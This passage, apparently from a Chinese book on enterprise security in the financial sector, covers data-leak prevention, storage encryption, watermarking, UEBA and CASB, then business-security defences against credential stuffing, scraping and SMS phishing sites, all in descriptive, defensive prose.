·流量缺失监控。引起缺失的原因可能是某次交换机变更，也可能是端口速率变化，还可能是流量过大服务端处理不过来，一定要有相应的手段发现问题根源。

·针对加密流量，如HTTPS、启用TLS加密的SMTP，或者非标准端口协议，如HTTP，运行在非80端口，都无法监控或者需要单独调整。

·无法进行拦截，只是事后审计。

说实话，从产品理念到技术架构，Symantec DLP都是非常优秀的，当国内产品普遍处在关键字、正则表达式年代的时候就已经提出了确切数据匹配EDM、索引文档匹配IDM、向量机学习VML等技术，还有新版引入的OCR、ICT等技术，可惜近几年其在国内市场急剧萎缩，售后能力得不到保障，不建议再使用。网络DLP的未来趋势是与云访问安全代理（CASB）功能集成，将敏感数据的发现范围进一步扩大到云应用程序，比如Office 365，需要企业重点关注。


2.上网代理类


为了解决前面无法拦截的问题，可以将设备串行部署在网络上，这样的部署模式还可以在一定程度上解决加密流量问题，比如采用中间人技术对HTTPS协议进行加解密。

上面的方案改变了网络结构，引入了可用性风险，所以还有一种方案可选择，特别是很多企业已经有上网代理的情况下，将上网的流量通过ICAP协议与DLP设备联动，是相对灵活的方案。这里还是以Symantec Network Prevent for Web方案为例来说明，如图14-10所示。




图14-10　Symantec Network Prevent for Web

Web代理服务器充当ICAP客户端，配置将请求转发至Prevent Server的ICAP REQMOD服务，或者将响应转发至Prevent Server的ICAP RESPMOD服务，而Prevent Server上监听ICAP服务端口，建议配置白名单进行限制。国内也有厂商支持串行部署、ICAP模式，不再赘述。


3.邮件代理类


邮件外发场景相对上网场景更加单一，而且可以轻松配置将邮件路由下一跳指到MTA，所以各家的方案部署模式都差不多，更多的是在这个基础上的一些扩展，比如垃圾邮件拦截、内容过滤、邮件审批、TLS通道加密、加密外发等。这里以Websense的邮件网关方案尤为突出，默认带有Data Securtiy功能模块，不需要重新采购许可。

经笔者了解，各家方案基本都是基于postfix改造，将邮件内容剥离出来进行反病毒、反垃圾引擎、DLP引擎检测，并按照后台配置的策略进行相应的动作，包括隔离、拦截、投递、加密等。

有一点必须要指出，Websense设备后台的管理员密码都掌握在厂家手里，美其名曰“保护公司机密”。如果能接受这一点，那么Websense是一个非常不错的产品，只可惜避免不了和Symantec面临同样的问题，Websense被具有军方背景的雷神公司收购后改名为Forcepoint，其在中国的业务也日渐萎缩，售后也是基本废掉了，不建议再采购。




14.4　存储数据安全



企业的很多数据除了落地在终端，更重要的是落地在后端存储上，这里的数据安全工作会涉及存储数据的加密、敏感文件的扫描发现以及数据的销毁等方面的内容。


1.存储数据的加密


存储数据的加密，根据数据加密位置的不同，一般分为：应用层加密（如数据库、备份软件），网关层加密（如加密交换机），存储系统加密。

应用层加密，肯定是兼容性最好的方案，因为应用自身实现了加密，存储层、网络层根本无感知；另外，由于应用层加密可以保护数据端到端的安全，所以实用价值更大。以数据库为例，包括Oracle、SQL Server在内的数据库，都在高版本里支持透明加解密功能，即存储在磁盘上的数据是加密的，加解密功能由数据库自身来完成。MySQL在5.7版本中推出数据加密功能—透明数据加密（Transparent Data Encryption），用户在创建加密表时，不用指定加密密钥。数据在写盘时加密，在读盘时解密。不过，目前MySQL的透明数据加密只支持InnoDB存储引擎，未来可能会有新的改进。

网关层加密，使用加密存储安全交换机，连接在存储设备和主机之间，所有数据都会经过它，性能是一个需要关注的问题；另外，对已经有存储交换机的企业来说，还需要另外采购加密交换机来实现加密功能。

存储系统加密，依靠存储本身提供的加密就可以，不需要引入加密交换机，也不会对主机的性能有影响。很多企业都使用磁带库的方式进行备份，一般都支持加密功能。


2.敏感文件的扫描


常规的DLP产品都会支持敏感数据发现功能，除了对本地终端，还可以对远程存储上的文件进行扫描，比如文件共享、Lotus Notes数据库、SQL数据库、SharePoint服务器、Exchange Server扫描等，都是一些DLP产品里的功能，此处不再赘述。


3.数据的销毁


数据销毁有两种，一种是我们常说的数据擦除，一种是针对物理设备的消磁或粉碎。

有经验的同学都知道，Shift+Delete删除的文件其实在磁盘上还是能找回来的，其原理是，当你删除一个文件的时候，并没有真正把文件从磁盘的存储位置上删除，而只是在文件分配表上把该文件存储位置的标志置为0，也就是说只有你下次存储新的东西要用到这个标志的时候，原来被删除的东西才能真正被物理覆盖掉。

安全的删除方法是使用专业工具进行的，免费的有Eraser，其删除设置里有多种删除方法，包括美国国防部标准等。

如果想针对某个重要文件做处理，但已经不小心被删除，一种办法是先恢复再安全删除，还有一种办法就是直接硬盘填充多次，硬盘填充工具网上有免费的FillDisk，也有系统自带的cipher命令。此类工具的原理都是写数据一直到磁盘写满，多运行几次再用数据恢复工具测试一下效果进行验证。

针对磁盘的消磁，需要专业的消磁设备来进行，一般金融机构数据中心都会配备，不再赘述。针对SSD固态硬盘，由于其不是磁性媒介组成，所以消磁机就派不上用场了，一般的做法是将其芯片粉碎，市面上也有相应的设备。




14.5　应用数据安全



企业里有各种各样的应用系统，数据安全工作者往往需要从数据的采集或输入、存储、内部访问或API调用、前端展示等维度去考虑。前端展示涉及的数据脱敏话题将在14.6.1节中阐述，建议以API接口服务形式提供数据消费功能，通过对接口的统一管理，并尽量提供数据终态结果，避免原生态敏感数据的输出使用，减少原生态敏感数据的扩散半径。除了业务系统上层的控制，还需要关注数据库安全、数据交换流程控制以及大数据平台上的数据安全，下面分别阐述。


1.数据库安全


数据库里存放着各种各样的数据，所以常常成为重点攻击目标。这里的攻击，除了传统的通过Web漏洞拖库外，还包括内部管理员直接后台Dump，以及业务人员通过系统批量导出。为了尽可能覆盖各种攻击场景，一般企业需要如下的方案：

1）使用数据库代理保护数据库免受攻击，比如数据库防火墙可以直接阻断基于数据库协议的攻击行为，一般的proxy还可以提供IP过滤、SQL命令过滤与审计功能，可以对非法来源或SQL语句进行阻断。

2）对数据库进行封装，提供统一的运维平台给DBA或开发人员使用，使管理员无法直接接触数据库服务器，通过用户账号管理、权限控制、操作审计来实现。

3）数据库审计，通过基于网络流量或者代理插件等技术来实现数据库审计，以此发现针对数据库的入侵或违规操作。

4）数据库所在服务器及数据库软件本身的安全性加固工作。这其实是一个基础工作，如果数据库存在未授权访问漏洞甚至直接能远程溢出到服务器，那前面这些工作可能就白做了。

关于数据库安全，商业产品比较多，比如Imperva及国内的安恒等，开源的也有不少可以选择，比如McAfee的Mysql-Audit插件、数字公司的MySQL Sniffer、美团的DBProxy等，具体的使用可以参考刘焱（兜哥）的《企业安全建设入门：基于开源软件打造企业网络安全》一书（书号：978-7-111-59070-5）中关于数据库安全的内容。


2.数据交换平台


理论上业务系统功能足够强大，可以直接在业务系统上实现数据导出功能，不需要有单独提取数据的场景。但理论有时候只是理想，很多企业将生产与办公隔离开来，有时候需要将一些数据提取到办公网来，于是数据交换平台类产品出现了，从早期的安全隔离网闸，到如今的一些交换平台类方案等，这里就不过多评价其优劣了。笔者注意到有些产品开始融合网闸、网盘和DLP思想或技术于一体，通过授权、审批、敏感性检测、审计等方式保障数据交换过程的安全性。图14-11是某公司的数据交换平台示意图。




图14-11　数据交换平台示意图

有些场合，需要给外部机构提供大文件，邮件通常有大小限制，直接开放FTP访问也不安全，放到外网（类似百度网盘）也担心有风险，怎么破？有些厂商借鉴百度云盘的方案为企业创建一个自己的云盘对外提供服务，外链分享、密码提取、有效期限制等功能都有，再结合企业内部审批流程、邮件对接等，这也是一个可选的方案。


3.大数据安全


越来越多的企业将各种各样的日志丢到大数据平台进行分析，管控不好会造成大批量的数据泄露。如果企业安全建设能力还不够，建议放到封闭环境进行操作访问，类似我们上面提到的数据仓库保护方案。互联网企业在这块走在前面，可以借鉴其思路开展工作，包括：

·在大数据平台上提供各种各样的模型，方便业务人员直接在平台上做分析和可视化展示，这样可使数据导出的需求尽可能少。

·建设大数据风控平台，对敏感数据展示时进行脱敏处理，或者只对用户展示最终的视图。

·确实需要导出进行离线分析的，请结合前面的各种方案进行选择，比如桌面虚拟化确保数据不落到终端，或者落到终端的数据有审批、水印、审计等措施。

·大数据平台本身的安全性，包括身份认证、访问控制和授权等。Hadoop及其生态系统中的其他组件都支持使用Kerberos进行用户身份验证。Hadoop和HBase都支持ACL，同时也实现了基于角色的访问控制（RBAC）模型，更细粒度的ABAC（Attibute Based Access Control）在HBase较新的版本中也可通过访问控制标签和可见性标签的形式实现。




14.6　其他话题






14.6.1　数据脱敏



数据脱敏在百度百科上的定义是，对某些敏感信息通过脱敏规则进行数据的变形，实现敏感隐私数据的可靠保护。当涉及客户安全数据或者一些商业性敏感数据时，在不违反系统规则条件下，对真实数据进行改造并提供测试使用，如身份证号、手机号、卡号、客户号等个人信息都需要进行数据脱敏。

数据脱敏的应用非常广泛，比如我们常见的火车票上的身份证号码会用星号替换其中一些数字。按照脱敏规则，可以分为可恢复性脱敏和不可恢复性脱敏。可恢复性脱敏就是数据经过脱敏规则的转化后，还可以经过某些处理过程还原出原来的数据；相反，数据经过不可恢复性脱敏之后，将无法还原到原来的样子，可以把二者分别看成可逆加密和不可逆加密。

金融行业作为一个强监管的行业，经营过程中收集到的客户资料信息（包括身份证、银行卡号、手机号、住址等个人信息）必须进行严格保护，数据脱敏是一个必不可少的环节，特别是在开发、测试过程中可能会使用到真实生产数据时。随着业务越来越复杂及后台数据库里表规模越来越大、结构越来越复杂，依靠人工梳理敏感信息的方式已经不能满足日益复杂的安全需求，商业的脱敏系统应运而生，这类系统基本上都利用各类敏感信息的规则通过自动扫描来发现敏感信息字段。

除此之外，生产系统中的真实数据在对客户展示时，也需要考虑脱敏处理；内部系统也是一样，避免不必要的信息泄露的方式，基本都需要对系统进行改造，在前端展示、数据导出环节进行控制。这里需要注意一些“坑”，比如测试环境中的数据已经脱敏，测试人员对功能测试时往往发现不了系统内在逻辑是否进行了脱敏，一旦有问题的代码发布到生产环境，可能效果会和测试环境不一样。假设某页面上直接出现了客户信息（如手机号），随着现在互联网传播手段的流行，造成的声誉风险可能会非常大。




14.6.2　水印与溯源



水印在数据安全领域广泛应用，主要用来防止敏感信息被以截屏、拍照的方式泄露出去。水印，根据其可见性，可以分为明文水印和隐藏水印。明文水印一般主要起警示的效果，比如企业内部文档通常加上“内部资料，请注意保密”字样的水印；而隐藏水印，更多是站在追踪溯源的角度考虑。这两种水印一般会同时使用，企业里通过技术手段配合行政手段，往往具有更好的震慑效果。

根据使用场景的不同，水印又有屏幕水印、网页数字水印、图片水印、文档水印等各种呈现方式。屏幕水印一般是通过后台Agent来实现在屏幕上打上水印；网页数字水印一般通过网页背景技术来实现；图片水印是通过将图片打上水印标记生成另一个图片来实现；文档水印更多是在文档本身体现，需要文档工具支持。结合笔者经验，下面介绍三种比较特殊的水印处理技术，供大家参考。


1.强化版网页数字水印


常规的网页数字水印，基本上都是写着诸如员工编号等信息的透明度很高的图片，以Background-Image的方式平铺满整个屏幕，有一定技能的人可利用浏览器按F12找到对应元素直接删除水印。

有没有更好的办法防止删除水印呢？一般人想到通过JavaScript来实现—当发现有人删除这个DOM节点时再重新生成即可。除了删除，还有DOM节点的隐藏、挪动、篡改等手段也会影响水印效果。

另外，如果通过防火墙或一些浏览器插件工具拦截到水印服务的请求呢？再来个连接检查请求，看水印服务是否可达，不可达则破坏页面不显示正常内容。

如果以上都解决了，那攻击者通过查看JS代码发现其判断逻辑，在浏览器代理工具中修改相应结果呢？这时候就需要对JS代码进行保护了，不只是常见的压缩混淆，还会涉及前端代码保护技术。对抗是无止境的，结合已有的保护技术，在代码里通过埋点对恶意行为进行记录，也是一个非常好的方案，毕竟企业里真正懂这些技术的人不多，通过埋点发现“高手”也是件有趣的事情。


2.WPS字库水印


WPS文档朔源专用版客户端创建的公文，可将用户的登录身份基本信息（以及硬件ID设备信息）形成隐藏的数字水印分布在公文的文字排版中，如图14-12所示。




图14-12　WPS隐藏水印效果图

从图14-13可以看出，其水印功能是利用特殊字体，在打开、打印文件时对字体进行绘制，埋入相应的数据水印，图14-13是WPS隐写用户信息的原理图。

以上过程不影响原文件，仅影响WPS呈现出来的效果，而且仅通过肉眼识别不出来，用户基本感觉不到。但是，如果当用户通过打印、复印、拍照等方式造成文档泄密时，单位管理者仅需要获取公文的复印件或相关的拍照图片，即可通过WPS公文溯源解析系统，寻找到泄密的原始人，从而方便追责工作，图14-14为溯源提取原理图。




图14-13　WPS隐写用户信息原理图




图14-14　WPS隐藏水印溯源提取原理图


3.矢量水印


屏幕矢量水印是某公司新一代的水印解决方案。该方案抛弃原有“所见即可得”的水印方式，用一种“轻微型”标记的方式来展现水印，近乎等同于“隐形水印”。如果一旦通过屏幕拍照或者截屏引发了泄密事件，即可通过泄密照片上的矢量水印信息快速锁定泄密者。

屏幕矢量水印具有抗折叠、冗余备份、抗波尔纹等特点，无论照片如何压缩、优化、折叠都不会影响水印信息的审计和泄密源的定位。只需要在查询页面中，输入水印信息进行查询，就可以锁定的泄密人。如果得到的泄密的图片不够完整，系统也能支持查询出精确度最高的结果。

图14-15是一个矢量水印效果截图。




图14-15　矢量水印效果

可以看到在图14-15上有很多点阵，每个点阵后台代表不同的字符，如图14-16所示。




图14-16　矢量水印追查

通过特定的算法只需提取4~6个相连的点阵即可追溯文档泄露相关信息。




14.6.3　UEBA



2014年，Gartner发布了用户行为分析(UBA)市场定义，UBA技术目标市场聚焦在安全(窃取数据)和诈骗(利用窃取来的信息)上，帮助组织检测内部威胁以及有针对性的攻击和金融诈骗。但随着数据窃取事件越来越多，Gartner认为有必要把这部分从诈骗检测技术中剥离出来，于是在2015年正式更名为用户实体行为分析(UEBA)。

UEBA最近很火，国外一些领先的UEBA厂商凭借检测能力上的优势，已经在尝试颠覆原有市场格局，包括Exabeam、Gurucul、Interset、Niara、Securonix、Splunk（2015年收购Caspida）等。这些产品的出发点主要是解决以下问题：

·账号失陷检测。

·主机失陷检测。

·数据泄漏检测。

·内部用户滥用。

·提供事件调查的上下文。

毫无疑问，这些威胁都是企业最关注的风险。而在国内这方面的公司或产品还不够完善，很多企业在尝试从传统的SIEM/SOC转向大数据平台进而走向UEBA。需要保持关注，国外UEBA的火热不是没有道理的。

从数据安全的角度上看，内部用户对业务系统的异常访问是需要关注的，比如去年报道的针对征信系统批量查询的案例，通过对账号的异地、异常时间登录，到数据的批量查询下载，都是可以发现的。




14.6.4　CASB



随着云技术和虚拟化技术的普及，越来越多的企业已经没有传统意义上的数据中心机房了，各种业务系统迁移到云上，包括企业邮箱、企业网盘、CRM、ERP、OA、HR等各类业务系统均托管给云服务商，计算资源规模化、集约化使办公效率取得大幅度提升。在这种情况下，存储资源变为共享式，企业随之失去了对应用及数据的安全控制权。既要享受便捷的云端服务，又不能失去对自身数据的控制权，基于这个预期，Gartner在2012年提出了CASB概念，定义了在新的云计算时代，企业或用户掌控云上数据安全的解决方案模型。CASB产品有两种工作模式：一种是Proxy模式，另一种是API模式。

在Proxy模式下，CASB要处理企业上传到云应用的全部流量，重要数据采用加密等安全策略处理后再上传到云服务商；而在API模式中，企业数据直接传给云服务商，CASB利用云应用的API，对用户进行访问控制以及执行企业的安全策略。

金融行业的特殊性导致业务上云成为一个具有争议性的话题，笔者建议需要保持关注，技术潮流势不可挡，传统金融机构面临互联网公司的挑战势必加快这方面的技术转型。




14.7　小结



数据安全建设工作，没有黑科技，只能靠对企业数据的全流程管理结合技术手段，尽可能地避免数据外泄。

办公终端物理分布的广泛性导致数据管理半径的急剧扩大，加上终端的多样性导致终端数据安全管理难度进一步加大。数据安全未来管理方向，在聚焦于敏感数据的基础上可以考虑转向后台集中管理，数据集中的承载平台包括应用系统和虚拟桌面等，不过前提条件是要提高应用系统、虚拟桌面的数据处理、分享能力，并打通后台的数据流转过程。未来随着云的流行和监管可能的放开，CASB是一个不错的方向，值得关注。




第15章　业务安全



2017年共享单车行业的两大巨头的“红包大战”事件中，A公司宣布推出“红包车”吸引用户之后，B公司也推出了“骑单车，给红包”的全新活动。活动规定在B公司单车系统显示的红包范围内开锁，只要骑行超过500米、10分钟的用户，就能够在骑行结束之后领取最高5000元的红包奖励。

结果活动没推出几天，网上就出现了“利用B公司漏洞赚红包”的技巧分享文章，用户可以通过在手机上安装虚拟GPS的方式来进行红包区域与共享单车的定位，然后通过正常的APP软件来完成共享单车的租借，最终获得红包奖励。普通人利用规则一天顶多有近80元收入，而羊毛党则利用手上掌握的大量账号批量刷，一天就能赚上千元。

通过上面这个案例，我们可以看到，黑客不需要像以往一样需要入侵对方服务器拿到数据去卖而赚钱了，只需要通过业务层面的漏洞就能获利。这只是业务安全场景中的一小部分，行话叫“薅羊毛”，除此外，还有撞库、盗刷、骗保骗贷、黄牛刷单、交易欺诈、刷单炒信、数据爬取等。业务安全显然是非常重要的，业务安全要保护业务系统免受安全威胁。

笔者结合金融行业特点以及工作经验，从以下几个方面来分析业务安全：账号安全、爬虫与反爬、钓鱼与反制、大数据风控。




15.1　账号安全



相比于大部分互联网应用只需要手机注册短信验证，金融行业的账号往往需要到柜台或远程视频核实开启，包括身份证、电话、住址甚至人脸信息等都会收集，按道理安全系数会比较高，但有利益的地方就会有黑灰产的出现。

金融业务系统中，账号安全是所有业务场景的基础，包括注册、登录、密码找回等功能模块的安全性是必须要考虑的。随着Web应用开发水平的提升，一般金融企业在这些地方出现逻辑漏洞的可能性比较小，但也需要关注比如垃圾注册、拖库撞库、账户盗用、短信炸弹等问题。结合金融行业特点，下面重点阐述发生频率较高的撞库、账户盗用等相关内容。




15.1.1　撞库



撞库分为垂直撞库和水平撞库两种，垂直撞库是对一个账号使用多个不同的密码进行尝试，可以理解为暴力破解，在做了“多次错误导致锁定”控制的应用上，垂直撞库很容易被发现。水平撞库则是利用同一个密码（比如123456）对多个账号进行尝试，由于对同一个账号的错误次数没有触发锁定条件，水平撞库往往更难从业务系统上直接发现。

防撞库有几种主要的思路：在用户侧做人机识别，比如验证码；利用页面混淆技术实现保护；在后端做请求分析与拦截。


1.验证码


验证码一般包括图形验证码、短信验证码两种，其中图形验证码因低成本优势被广泛使用。

（1）图形验证码

常见的图形验证码是与Web中的会话相关联的，在一个会话开始时，在需要使用验证码的地方会生成一个与当前会话相关的验证码，用户识别出验证码后通过填写表单将数据提交给服务器，服务器端会验证此次会话中的验证码是否正确。

对用户方来说，用户访问起始页面，识别返回页面中的验证码，在输入验证码和其他信息后提交表单，在服务器处理后可查看到当前操作是否成功。服务器在接收到用户对初始页面的请求后，会自动创建一个新的会话，同时生成验证码来关联这个会话，并且生成用户可见的验证码图片，最后这些页面返回到用户的浏览器上，用户此时可看到完整的页面。在接到用户提交的表单请求时，服务器会将用户提交的验证码值并与之前存储在此会话下的验证码值做比较，如果一致则判断验证码是正确的，否则认为提交的验证码是错误的，客户端可能是计算机或者用户识别错误。服务器端进行这些处理后将处理结果反馈给用户。如果提交的验证码是正确的，则按照预定流程进行下一步骤，否则回到需要用户输入的那个界面上。

但是，图形验证码存在一定的弊端，图形验证码通过去噪、二值化、切片等处理后，可以实现机器自动识别，网上有专门的验证码识别工具，搜索“验证码识别”还能找到一些打码平台。

打码平台在黑产链条中使用广泛，从目前公开的案件报道中可以看到，黑产在这方面的技术已经非常先进，包括机器学习、人工打码全都用上了。

真实的攻击场景中，验证码的识别率不用太准确，假设有40%的识别率，理论上多请求两次就会成功，所以黑产先天上占有优势。对于企业来说，验证码搞复杂了用户体验就会非常差，像某购票网站就是个例子。

（2）短信验证码

同样，针对短信验证码，也有专门的平台，笔者随手在网上搜索“短信验证码接收”就找到了一个叫“易码平台”的短信验证码接收平台。

有攻也有防，验证码的技术也在不断地发展，包括常见的问答模式、点选模式、拖动验证等，图15-1是某公司推出的人机行为验证解决方案在线演示效果图。

而某T公司基于其海量数据和场景优势，也推出了验证码服务，包含其独创的VTT语义验证，其官网介绍图如图15-2所示。




图15-1　人机行为验证




图15-2　某T验证码官方介绍

VTT验证码效果如图15-3所示。


2.页面混淆


针对登录场景的保护，Shape Security公司推出了一种基于页面混淆的动态保护技术，其效果如图15-4所示。




图15-3　某TVTT验证码效果




图15-4　ShapeSecurity效果图

一个登录的表单，混淆前后变化非常大，包括元素的ID、Name全都变了样，传统的暴力破解工具在这里就失效了，因为没法定位到这些元素。

国内的瑞数公司也在推出了类似的产品，采用动态变形、动态混淆、动态令牌等技术进行防护，其中动态变形效果如图15-5所示。

瑞数公司的动态混淆与动态令牌效果如图15-6所示。

此类方案实施过程中需要注意两点：

·网站系统内存在的一些接口，由于需要被调用，不适合用此方案进行保护，实施时需要注意做例外处理。

·由于混淆会对HTML甚至js进行处理，需要考虑一些特殊业务场景下的兼容性问题，如浏览器版本、第三方控件、页面嵌套在C/S客户端中等。


3.后端分析与拦截


这里的后端处理，可能是专门的WAF设备，也可能是Nginx上的过滤模块，也可能是传统的防火墙。

一般的WAF都有对基于请求频率进行限制的功能，将需要保护的页面、时间、请求次数相关参数进行设置即可。




图15-5　瑞数公司的动态变形示例




图15-6　瑞数的动态混淆与动态令牌

Nginx本身也提供了一些连接限制模块，比如limit_zone和limie_req_zone，为了控制更细粒度，比如针对URL等，一般采用Nginx+Lua的方案。

将客户端来源IP、URL及其他值合并为一个参数，对这个参数进行统计并写入Nginx的共享内存，当这个统计值大于一定数量时将进行拦截。

有些公司可能出于可用性考虑，仅将日志收集起来进行准实时分析，当发现有问题后调用防火墙进行拦截，此处不再赘述。




15.1.2　账户盗用



通常情况下，用户在一个APP正确输入了用户名和密码，就会允许登录；而在金融行业场景下，涉及资金的操作都得谨慎，所以很多业务都设置了单独的支付密码（或称交易密码）。

并不是单独设置了支付密码就安全了，因为坏人总会想办法拿到你的密码，比如上面的撞库，或者通过伪基站发送钓鱼短信诱使用户访问并在页面中输入用户密码等信息，一旦这些信息被坏人拿到，马上就会给受害者造成财产上的损失，所以危害极大。

因此，金融企业还需要采用加强性验证、用户提醒等方式来保障用户账号安全。图15-7是某银行启用安全认证的官网通告截图。




图15-7　某银行官网关于启用安全认证的通告

其工作原理是：当用户在一部新手机或新设备上登录网站或APP时，由于后台没有对应的设备指纹记录，所以用户输入成功用户和密码后，还会要求输入一个短信验证码（我们叫它二次认证），当达到一定的条件（比如成功在这个设备上登录5次）后才不会有这个二次认证。

除了以上方法外，不少应用还会按场景使用验证码、异地登录提醒等功能，比如当发现账号在非常用的地点登录时，可以通过验证码进行二次认证，或者登录成功后给用户发一个异地登录提醒的信息等，图15-8为QQ异地登录提醒功能。




图15-8　QQ异地登录提醒功能




15.2　爬虫与反爬虫






15.2.1　爬虫



Distil Networks对2017年网络数千个域名及上千亿次的访问进行分析，发布了《2018 Bad Bot Report》。报告指出，2017年间，42.2%的互联网流量来自于“机器人”（Bots），而非真实用户。

事实上，“机器人”指的是互联网上的爬虫、自动机或者模拟器。部分“机器人”流量来自于搜索引擎爬虫、自动更新的RSS订阅服务器等，它们是良性的，属于正常机器流量（Good Bots）。另外一部分由恶意爬虫、自动机、模拟器等产生，伪造真实用户发起的请求，属于恶意机器流量（Bad Bots）。这些流量在应用层攻击网站、APP或是API，以达到获利的目的，同时也会对企业造成经济上的巨大损失。

网上有大量关于如何编写爬虫的文章，从基础的GET请求、POST请求到使用Cookie、使用代理、设置Sleep、设置UA伪装成浏览器、设置Referer防来源检查，再到断线重连、多进程、以及处理Ajax请求等，更高级的是使用Selenium+PhantomJS类的技术直接操作浏览器，执行js代码、识别或绕过验证码等。

V2EX上有位网友分享了一个真实案例，他在每个不同的网站使用不同的邮箱名，这样收到垃圾邮件时就知道是谁家服务泄露了自己的信息，结果在“随手机”上注册的邮箱收到了某银行的广告营销邮件。恰逢《网络安全法》2017年6月1日开始实施，所以这个事件当时炒得非常热，最后牵出了一个名为八爪鱼的采集器。八爪鱼是一个商业的采集器，其内置浏览器几乎可以模拟用户的所有行为，包括移动鼠标、点击鼠标、翻页、点击链接、滚动鼠标滚轮、切换下拉菜单、输入文字，自动识别验证码（人工打码+机器识别），甚至看到不同的页面还能采取不同的处理流程，云采集还有成千上万的IP实时切换，其官网介绍如图15-9所示。




图15-9　八爪鱼采集器介绍




15.2.2　反爬虫



再看看我们主流的反爬虫技术，一般分为后台限制及前端变化两种。


1.后台限制


后台限制一般包括：设置robots.txt文件，针对单个IP访问超过阈值后封锁IP，针对单个Session访问超过阈值后封锁Session，针对单个User-Agent访问超过阈值进行封锁，组合前几个值进行访问统计超阈值进行阻断或者发验证码要求验证。这些和前面防撞库中的内容有些相似性，不再赘述。比较暴力一点的是直接阻断一些类似PycURL、libwww-perl等User-Agent的访问，某些国产WAF中关于爬虫防护的内容中就列举了常见的爬虫UA以供用户选择。

当然这些都容易绕过，不遵守robots协议、换IP、换Session、换UA都相对简单，但我们也可以利用它来做一些事情，比如我们在13.7节中讲到的蜜罐技术，设置假的robots，放置一些hidden的表单项，或者一些注释掉的页面链接等，不会影响用户体验，但爬虫一旦访问即说明有问题，可以进一步干预，比如阻断。


2.前端变化


后端限制效果可以马上呈现，但随着爬虫技术的不断提升，在后端能做的工作越来越有限，而且还会存在误伤的问题，所以更多企业把精力放在前端上，对重要的页面内容进行保护，防止被批量爬取。前端技术多种多样，我们简单看几个实际案例来体会一下。第一个案例是某代理IP网站页面，为了保护上面公布的IP地址不被人爬取，对IP地址数字和字符做了拼凑处理，如图15-10所示。




图15-10　某IP代理防爬虫例子

聪明的爬虫如果拼接上面的div和span标签，也能获取到正确的IP地址。接下来我们再看看下面这个案例，如图15-11所示。




图15-11　某网站价格保护

三位数的价格就会生成3个b标签，其中第一个b标签里包含3个i标签，利用元素定位覆盖错误的i标签，从而最终给用户显示正确的价格，但爬虫就难搞了，拼凑不行还得要解析CSS并进行计算偏移覆盖情况。下面的案例就更另类了，打开某电影网站，随便找个电影查看其累计票房数据，如图15-12所示。

票房数里展示的根本不是数字，而是使用了font-face定义了字符集，并且每次刷新，字符集的URL还是动态变化的，如图15-13所示。

如果要爬这个数字，可能还不如OCR识别来的更好一些。从上面这三个案例中，可以看到前端的确可以做很多事情。除了上面这些前端技巧外，还有以下经验值得参考：

1）关键数据可以考虑文本转成图片，甚至添加水印。

2）网站请求的URL复杂化，尽量不暴露数据的唯一键（如ID等），避免爬虫通过修改ID即可轻松爬取其他信息。

3）前端HTML页面根据用户点击情况动态加载，即查询页面源码时，只能看到列表的第一条数据。

4）结合账号登录情况，对页面进行保护，比如Token等。




图15-12　某电影网站票房统计数据保护




图15-13　某电影网站票房统计数据对应的字体元素

5）结合蜜罐思路，确认异常时可以返回虚假数据。

反爬虫的本质是找到真正人类用户和爬虫程序的区别，限制爬虫程序的访问，理论上只要爬虫程序可以模拟任何人类上网的行为，就可以完美击败反爬虫机制，所以反爬虫最终注定是要失败的，于是这种对抗就演变为不断地升级变化，提升对抗成本和难度。




15.3　API网关防护



还有一类场景是与API调用相关的，一般的防护方案也是类似的，包括Key认证、ACL控制、Bot检测、CC限速等。商业的解决方案有Imperva、F5等公司提供的API安全方案；开源的有Kong等可供选择，关于Kong的使用可以参考刘焱的《企业安全建设入门：基于开源软件打造企业网络安全》一书中关于API网关Kong的内容。




15.4　钓鱼与反制



这里的钓鱼，不是指通过发送带有恶意链接或附件的邮件进行钓鱼，而是指电信诈骗手段中的钓鱼短信。不知道你有没有收到10086、955XX给你发的短信，如图15-14所示。

短信一般会提示积分兑换、系统升级等，需要用户访问一个特定的网站，而且这个网站域名还会有一定的相关性，当访问短信里面的域名的时候，基本上会要求访问者填写一些个人信息或者下载特定的APP，图15-15是某个提示积分兑换的钓鱼网站。




图15-14　某行钓鱼短信图片（来源于网上）




图15-15　积分兑换类钓鱼网站

图15-16是某个要求填写个人信息的钓鱼网站。

这背后其实是一个完整的产业链，从钓鱼网站或恶意APP的开发，到伪基站发短信，再到后台数据整理，直到最后给受害者造成经济损失，往往都有明确的分工。如果等到发生了损失再来处理就会非常被动，各大公司往往都会投入精力在这块做文章，只有针对该企业的钓鱼成本高了，黑产才会将目标转移到其他企业。




15.4.1　钓鱼发现



如何尽可能提早地发现钓鱼网站呢？一种思路是在域名上下功夫，一种是和外部机构合作，比如在发给用户的短信上做文章等。




图15-16　填写信息类钓鱼网站


1.钓鱼域名主动发现


钓鱼网站一般为了增加可信度，会注册一些跟企业相关的域名，如果我们能主动去爬与企业相关的域名，便有可能提前发现。

首先，整理一些关键字，以便生成需要爬取的域名。下面以钓鱼网站中的wap.95588ccz.com为例进行分析，wap有时候可以改为www或者m，95588ccz则可以变化为xx95588或者95588xx，这个xx可以取1~4位的字符，后面.com则可能变化为.net、.org、.cn、.com.cn、.info、.tk等等，每新多一个变化对应着生成的域名成指数增长。

其次，将生成的域名去请求类似8.8.8.8这样的DNS服务器查询，由于涉及大量的域名请求，所以建议在境外部署多台VPS进行分布式请求，一来提升效率，二来防止请求过多被限制。

最后，将解析出来的域名，进行适当的黑白名单的过滤处理后，再报送到后台，便于后续跟进处置。

如果某天通过其他渠道发现有新的钓鱼网站域名，又可以针对性地改进上面这个过程。


2.外部合作发现


有时候单单依靠自身的力量是不够的，需要合理使用外部力量来与伪基站钓鱼黑产链条进行对抗。

我们知道用户的手机上一般都会安装XX管家、XX卫士、XX浏览器之类的软件，特别是管家类的应用一般权限比较大，比如读取短信内容。腾讯、360有着海量的终端用户，所以通过分析短信内容，就可以知道哪些内容可能是钓鱼短信。

还有一些公司具备一些网络流量优势，能监测到通过仿冒页面、木马病毒、垃圾短信、垃圾邮件等方式传播和实施的、针对用户单位的门户网站等在线服务系统的网络钓鱼欺诈事件。再深入一点，钓鱼网站一般都是明文传输让用户填卡号密码，如果有资源的公司对这些流量做进一步的分析，甚至能发现哪些用户可能已经受害。

有一些传统的安全厂商，通过蜜罐系统、爬网系统、现有部署应用的产品反馈、客户查询、第三方运营商和样本搜集机构交换等方式，获得一些网址信息，再结合一些自已的分析算法，如网址相似度匹配、内容指纹匹配、自动进行机器学习、DNS关联分析等技术，也能够识别钓鱼网站。

